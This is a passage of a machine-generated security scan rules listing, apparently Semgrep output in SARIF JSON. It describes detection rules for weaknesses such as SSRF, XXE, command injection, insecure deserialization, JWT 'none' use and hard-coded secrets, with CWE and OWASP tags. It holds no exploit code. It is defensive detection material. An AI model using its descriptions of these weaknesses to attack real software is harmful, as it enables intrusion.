Rule](https://semgrep.dev/r/csharp.lang.security.stacktrace-disclosure.stacktrace-disclosure)\n - [https://cwe.mitre.org/data/definitions/209.html](https://cwe.mitre.org/data/definitions/209.html)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design/](https://owasp.org/Top10/A04_2021-Insecure_Design/)\n","text":"Stacktrace information is displayed in a non-Development environment. Accidentally disclosing sensitive stack trace information in a production environment aids an attacker in reconnaissance and information gathering."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.stacktrace-disclosure.stacktrace-disclosure","id":"csharp.lang.security.stacktrace-disclosure.stacktrace-disclosure","name":"csharp.lang.security.stacktrace-disclosure.stacktrace-disclosure","properties":{"precision":"very-high","tags":["CWE-209: Generation of Error Message Containing Sensitive Information","HIGH CONFIDENCE","OWASP-A04:2021 - Insecure Design","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.stacktrace-disclosure.stacktrace-disclosure"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"help":{"markdown":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.os.tainted-dotenv-variable-flask.tainted-dotenv-variable-flask)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"helpUri":"https://semgrep.dev/r/python.flask.os.tainted-dotenv-variable-flask.tainted-dotenv-variable-flask","id":"python.flask.os.tainted-dotenv-variable-flask.tainted-dotenv-variable-flask","name":"python.flask.os.tainted-dotenv-variable-flask.tainted-dotenv-variable-flask","properties":{"precision":"very-high","tags":["CWE-454: External Initialization of Trusted Variables or Data Stores","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.os.tainted-dotenv-variable-flask.tainted-dotenv-variable-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-urllib3.tainted-flask-http-request-urllib3)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-urllib3.tainted-flask-http-request-urllib3","id":"python.flask.net.tainted-flask-http-request-urllib3.tainted-flask-http-request-urllib3","name":"python.flask.net.tainted-flask-http-request-urllib3.tainted-flask-http-request-urllib3","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.net.tainted-flask-http-request-urllib3.tainted-flask-http-request-urllib3"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.xml.tainted-flask-xml-libxml2.tainted-flask-xml-libxml2)\n - [https://github.com/vingd/libxml2-python/blob/libxml2-python-2.9.1/libxml2.py](https://github.com/vingd/libxml2-python/blob/libxml2-python-2.9.1/libxml2.py)\n - [https://gitlab.gnome.org/GNOME/libxml2/-/wikis/Python-bindings](https://gitlab.gnome.org/GNOME/libxml2/-/wikis/Python-bindings)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/python.flask.xml.tainted-flask-xml-libxml2.tainted-flask-xml-libxml2","id":"python.flask.xml.tainted-flask-xml-libxml2.tainted-flask-xml-libxml2","name":"python.flask.xml.tainted-flask-xml-libxml2.tainted-flask-xml-libxml2","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.xml.tainted-flask-xml-libxml2.tainted-flask-xml-libxml2"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input when used respectively as system commands or command arguments."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input when used respectively as system commands or command arguments.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-command-injection.laravel-command-injection)\n - [https://www.php.net/manual/en/ref.exec.php](https://www.php.net/manual/en/ref.exec.php)\n - [https://www.php.net/manual/en/ref.filesystem.php](https://www.php.net/manual/en/ref.filesystem.php)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input when used respectively as system commands or command arguments."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-command-injection.laravel-command-injection","id":"php.laravel.security.laravel-command-injection.laravel-command-injection","name":"php.laravel.security.laravel-command-injection.laravel-command-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-command-injection.laravel-command-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Bracket object notation with user input is present, this might allow an attacker to access all properties of the object and even it's prototype. Use literal values for object properties."},"help":{"markdown":"Bracket object notation with user input is present, this might allow an attacker to access all properties of the object and even it's prototype. Use literal values for object properties.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.remote-property-injection.remote-property-injection)\n - [https://github.com/nodesecurity/eslint-plugin-security/blob/3c7522ca1be800353513282867a1034c795d9eb4/docs/the-dangers-of-square-bracket-notation.md](https://github.com/nodesecurity/eslint-plugin-security/blob/3c7522ca1be800353513282867a1034c795d9eb4/docs/the-dangers-of-square-bracket-notation.md)\n","text":"Bracket object notation with user input is present, this might allow an attacker to access all properties of the object and even it's prototype. Use literal values for object properties."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.remote-property-injection.remote-property-injection","id":"javascript.express.security.audit.remote-property-injection.remote-property-injection","name":"javascript.express.security.audit.remote-property-injection.remote-property-injection","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.remote-property-injection.remote-property-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The Connection.recv() method automatically unpickles the data it receives, which can be a security risk unless you can trust the process which sent the message. Therefore, unless the connection object was produced using Pipe() you should only use the recv() and send() methods after performing some sort of authentication. See more dettails: https://docs.python.org/3/library/multiprocessing.html?highlight=security#multiprocessing.connection.Connection"},"help":{"markdown":"The Connection.recv() method automatically unpickles the data it receives, which can be a security risk unless you can trust the process which sent the message. Therefore, unless the connection object was produced using Pipe() you should only use the recv() and send() methods after performing some sort of authentication. See more dettails: https://docs.python.org/3/library/multiprocessing.html?highlight=security#multiprocessing.connection.Connection\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.conn_recv.multiprocessing-recv)\n - [https://docs.python.org/3/library/multiprocessing.html?highlight=security#multiprocessing.connection.Connection](https://docs.python.org/3/library/multiprocessing.html?highlight=security#multiprocessing.connection.Connection)\n","text":"The Connection.recv() method automatically unpickles the data it receives, which can be a security risk unless you can trust the process which sent the message. Therefore, unless the connection object was produced using Pipe() you should only use the recv() and send() methods after performing some sort of authentication. See more dettails: https://docs.python.org/3/library/multiprocessing.html?highlight=security#multiprocessing.connection.Connection"},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.conn_recv.multiprocessing-recv","id":"python.lang.security.audit.conn_recv.multiprocessing-recv","name":"python.lang.security.audit.conn_recv.multiprocessing-recv","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.conn_recv.multiprocessing-recv"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected use of the `none` algorithm in a JWT token. The `none` algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the `none` algorithm. Instead, use an algorithm such as `HS256`."},"help":{"markdown":"Detected use of the `none` algorithm in a JWT token. The `none` algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the `none` algorithm. Instead, use an algorithm such as `HS256`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.java-jwt.jwt-none-alg.jwt-none-alg)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of the `none` algorithm in a JWT token. The `none` algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the `none` algorithm. Instead, use an algorithm such as `HS256`."},"helpUri":"https://semgrep.dev/r/kotlin.java-jwt.jwt-none-alg.jwt-none-alg","id":"kotlin.java-jwt.jwt-none-alg.jwt-none-alg","name":"kotlin.java-jwt.jwt-none-alg.jwt-none-alg","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.java-jwt.jwt-none-alg.jwt-none-alg"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The password on '$MODEL' is being set without validating the password. Call django.contrib.auth.password_validation.validate_password() with validation functions before setting the password. See https://docs.djangoproject.com/en/3.0/topics/auth/passwords/ for more information."},"help":{"markdown":"The password on '$MODEL' is being set without validating the password. Call django.contrib.auth.password_validation.validate_password() with validation functions before setting the password. See https://docs.djangoproject.com/en/3.0/topics/auth/passwords/ for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.unvalidated-password.unvalidated-password)\n - [https://docs.djangoproject.com/en/3.0/topics/auth/passwords/#module-django.contrib.auth.password_validation](https://docs.djangoproject.com/en/3.0/topics/auth/passwords/#module-django.contrib.auth.password_validation)\n","text":"The password on '$MODEL' is being set without validating the password. Call django.contrib.auth.password_validation.validate_password() with validation functions before setting the password. See https://docs.djangoproject.com/en/3.0/topics/auth/passwords/ for more information."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.unvalidated-password.unvalidated-password","id":"python.django.security.audit.unvalidated-password.unvalidated-password","name":"python.django.security.audit.unvalidated-password.unvalidated-password","properties":{"precision":"very-high","tags":["CWE-521: Weak Password Requirements","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.unvalidated-password.unvalidated-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"PBKDF2 usage was identified with an insufficient work factor, i.e. an iteration count (rounds) lower than modern guidelines prescribe. Per OWASP guidance, 600K iterations should be used with SHA256"},"help":{"markdown":"PBKDF2 usage was identified with an insufficient work factor, i.e. an iteration count (rounds) lower than modern guidelines prescribe. Per OWASP guidance, 600K iterations should be used with SHA256\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insufficient-pbkdf2-work-factor-sha256.insufficient-pbkdf2-work-factor-sha256)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n - [https://pages.nist.gov/800-63-3/sp800-63b.html#sec5](https://pages.nist.gov/800-63-3/sp800-63b.html#sec5)\n","text":"PBKDF2 usage was identified with an insufficient work factor, i.e. an iteration count (rounds) lower than modern guidelines prescribe. Per OWASP guidance, 600K iterations should be used with SHA256"},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insufficient-pbkdf2-work-factor-sha256.insufficient-pbkdf2-work-factor-sha256","id":"swift.commoncrypto.insufficient-pbkdf2-work-factor-sha256.insufficient-pbkdf2-work-factor-sha256","name":"swift.commoncrypto.insufficient-pbkdf2-work-factor-sha256.insufficient-pbkdf2-work-factor-sha256","properties":{"precision":"very-high","tags":["CWE-916: Use of Password Hash With Insufficient Computational Effort","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insufficient-pbkdf2-work-factor-sha256.insufficient-pbkdf2-work-factor-sha256"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Service '$SERVICE' is explicitly disabling SELinux separation. This runs the service as an unconfined type. Remove 'label:disable' to prevent this."},"help":{"markdown":"Service '$SERVICE' is explicitly disabling SELinux separation. This runs the service as an unconfined type. Remove 'label:disable' to prevent this.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.docker-compose.security.selinux-separation-disabled.selinux-separation-disabled)\n - [https://www.projectatomic.io/blog/2016/03/dwalsh_selinux_containers/](https://www.projectatomic.io/blog/2016/03/dwalsh_selinux_containers/)\n - [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration)\n","text":"Service '$SERVICE' is explicitly disabling SELinux separation. This runs the service as an unconfined type. Remove 'label:disable' to prevent this."},"helpUri":"https://semgrep.dev/r/yaml.docker-compose.security.selinux-separation-disabled.selinux-separation-disabled","id":"yaml.docker-compose.security.selinux-separation-disabled.selinux-separation-disabled","name":"yaml.docker-compose.security.selinux-separation-disabled.selinux-separation-disabled","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.docker-compose.security.selinux-separation-disabled.selinux-separation-disabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Overwriting `transformLinkUri` or `transformImageUri` to something insecure, or turning `allowDangerousHtml` on, or turning `escapeHtml` off, will open the code up to XSS vectors."},"help":{"markdown":"Overwriting `transformLinkUri` or `transformImageUri` to something insecure, or turning `allowDangerousHtml` on, or turning `escapeHtml` off, will open the code up to XSS vectors.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.react.security.react-markdown-insecure-html.react-markdown-insecure-html)\n - [https://www.npmjs.com/package/react-markdown#security](https://www.npmjs.com/package/react-markdown#security)\n","text":"Overwriting `transformLinkUri` or `transformImageUri` to something insecure, or turning `allowDangerousHtml` on, or turning `escapeHtml` off, will open the code up to XSS vectors."},"helpUri":"https://semgrep.dev/r/typescript.react.security.react-markdown-insecure-html.react-markdown-insecure-html","id":"typescript.react.security.react-markdown-insecure-html.react-markdown-insecure-html","name":"typescript.react.security.react-markdown-insecure-html.react-markdown-insecure-html","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.react.security.react-markdown-insecure-html.react-markdown-insecure-html"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Outlook Team detected"},"help":{"markdown":"Outlook Team detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-outlook-team.detected-outlook-team)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Outlook Team detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-outlook-team.detected-outlook-team","id":"generic.secrets.security.detected-outlook-team.detected-outlook-team","name":"generic.secrets.security.detected-outlook-team.detected-outlook-team","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-outlook-team.detected-outlook-team"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found user controlled content in `run_string`. This is dangerous because it allows a malicious actor to run arbitrary Python code."},"help":{"markdown":"Found user controlled content in `run_string`. This is dangerous because it allows a malicious actor to run arbitrary Python code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.dangerous-subinterpreters-run-string.dangerous-subinterpreters-run-string)\n - [https://bugs.python.org/issue43472](https://bugs.python.org/issue43472)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Found user controlled content in `run_string`. This is dangerous because it allows a malicious actor to run arbitrary Python code."},"helpUri":"https://semgrep.dev/r/python.lang.security.dangerous-subinterpreters-run-string.dangerous-subinterpreters-run-string","id":"python.lang.security.dangerous-subinterpreters-run-string.dangerous-subinterpreters-run-string","name":"python.lang.security.dangerous-subinterpreters-run-string.dangerous-subinterpreters-run-string","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.dangerous-subinterpreters-run-string.dangerous-subinterpreters-run-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.hardcoded.headers.hardcoded-github-token.hardcoded-github-token)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.lang.hardcoded.headers.hardcoded-github-token.hardcoded-github-token","id":"javascript.lang.hardcoded.headers.hardcoded-github-token.hardcoded-github-token","name":"javascript.lang.hardcoded.headers.hardcoded-github-token.hardcoded-github-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.hardcoded.headers.hardcoded-github-token.hardcoded-github-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The preceding call to `$SOURCE` can return a negative value when an error is encountered. This can lead to an out-of-bounds array access and possible memory corruption."},"help":{"markdown":"The preceding call to `$SOURCE` can return a negative value when an error is encountered. This can lead to an out-of-bounds array access and possible memory corruption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.memory.negative-return-value-array-index.negative-return-value-array-index)\n - [https://cwe.mitre.org/data/definitions/787.html](https://cwe.mitre.org/data/definitions/787.html)\n","text":"The preceding call to `$SOURCE` can return a negative value when an error is encountered. This can lead to an out-of-bounds array access and possible memory corruption."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.memory.negative-return-value-array-index.negative-return-value-array-index","id":"cpp.lang.security.memory.negative-return-value-array-index.negative-return-value-array-index","name":"cpp.lang.security.memory.negative-return-value-array-index.negative-return-value-array-index","properties":{"precision":"very-high","tags":["CWE-787: Out-of-bounds Write","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.memory.negative-return-value-array-index.negative-return-value-array-index"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"DOCTYPE declarations are enabled for this DocumentBuilderFactory. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://apache.org/xml/features/disallow-doctype-decl\" to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features \"http://xml.org/sax/features/external-general-entities\" and \"http://xml.org/sax/features/external-parameter-entities\" to false."},"help":{"markdown":"DOCTYPE declarations are enabled for this DocumentBuilderFactory. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://apache.org/xml/features/disallow-doctype-decl\" to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features \"http://xml.org/sax/features/external-general-entities\" and \"http://xml.org/sax/features/external-parameter-entities\" to false.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-missing.documentbuilderfactory-disallow-doctype-decl-missing)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://blog.sonarsource.com/secure-xml-processor](https://blog.sonarsource.com/secure-xml-processor)\n - [https://xerces.apache.org/xerces2-j/features.html](https://xerces.apache.org/xerces2-j/features.html)\n","text":"DOCTYPE declarations are enabled for this DocumentBuilderFactory. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://apache.org/xml/features/disallow-doctype-decl\" to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features \"http://xml.org/sax/features/external-general-entities\" and \"http://xml.org/sax/features/external-parameter-entities\" to false."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-missing.documentbuilderfactory-disallow-doctype-decl-missing","id":"java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-missing.documentbuilderfactory-disallow-doctype-decl-missing","name":"java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-missing.documentbuilderfactory-disallow-doctype-decl-missing","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-missing.documentbuilderfactory-disallow-doctype-decl-missing"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Because portions of the logging configuration are passed through eval(), use of this function may open its users to a security risk. While the function only binds to a socket on localhost, and so does not accept connections from remote machines, there are scenarios where untrusted code could be run under the account of the process which calls listen(). To avoid this happening, use the `verify()` argument to `listen()` to prevent unrecognized configurations."},"help":{"markdown":"Because portions of the logging configuration are passed through eval(), use of this function may open its users to a security risk. While the function only binds to a socket on localhost, and so does not accept connections from remote machines, there are scenarios where untrusted code could be run under the account of the process which calls listen(). To avoid this happening, use the `verify()` argument to `listen()` to prevent unrecognized configurations.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.logging.listeneval.listen-eval)\n - [https://docs.python.org/3/library/logging.config.html?highlight=security#logging.config.listen](https://docs.python.org/3/library/logging.config.html?highlight=security#logging.config.listen)\n","text":"Because portions of the logging configuration are passed through eval(), use of this function may open its users to a security risk. While the function only binds to a socket on localhost, and so does not accept connections from remote machines, there are scenarios where untrusted code could be run under the account of the process which calls listen(). To avoid this happening, use the `verify()` argument to `listen()` to prevent unrecognized configurations."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.logging.listeneval.listen-eval","id":"python.lang.security.audit.logging.listeneval.listen-eval","name":"python.lang.security.audit.logging.listeneval.listen-eval","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.logging.listeneval.listen-eval"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."},"help":{"markdown":"Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.deserialization.pickle.avoid-cPickle)\n - 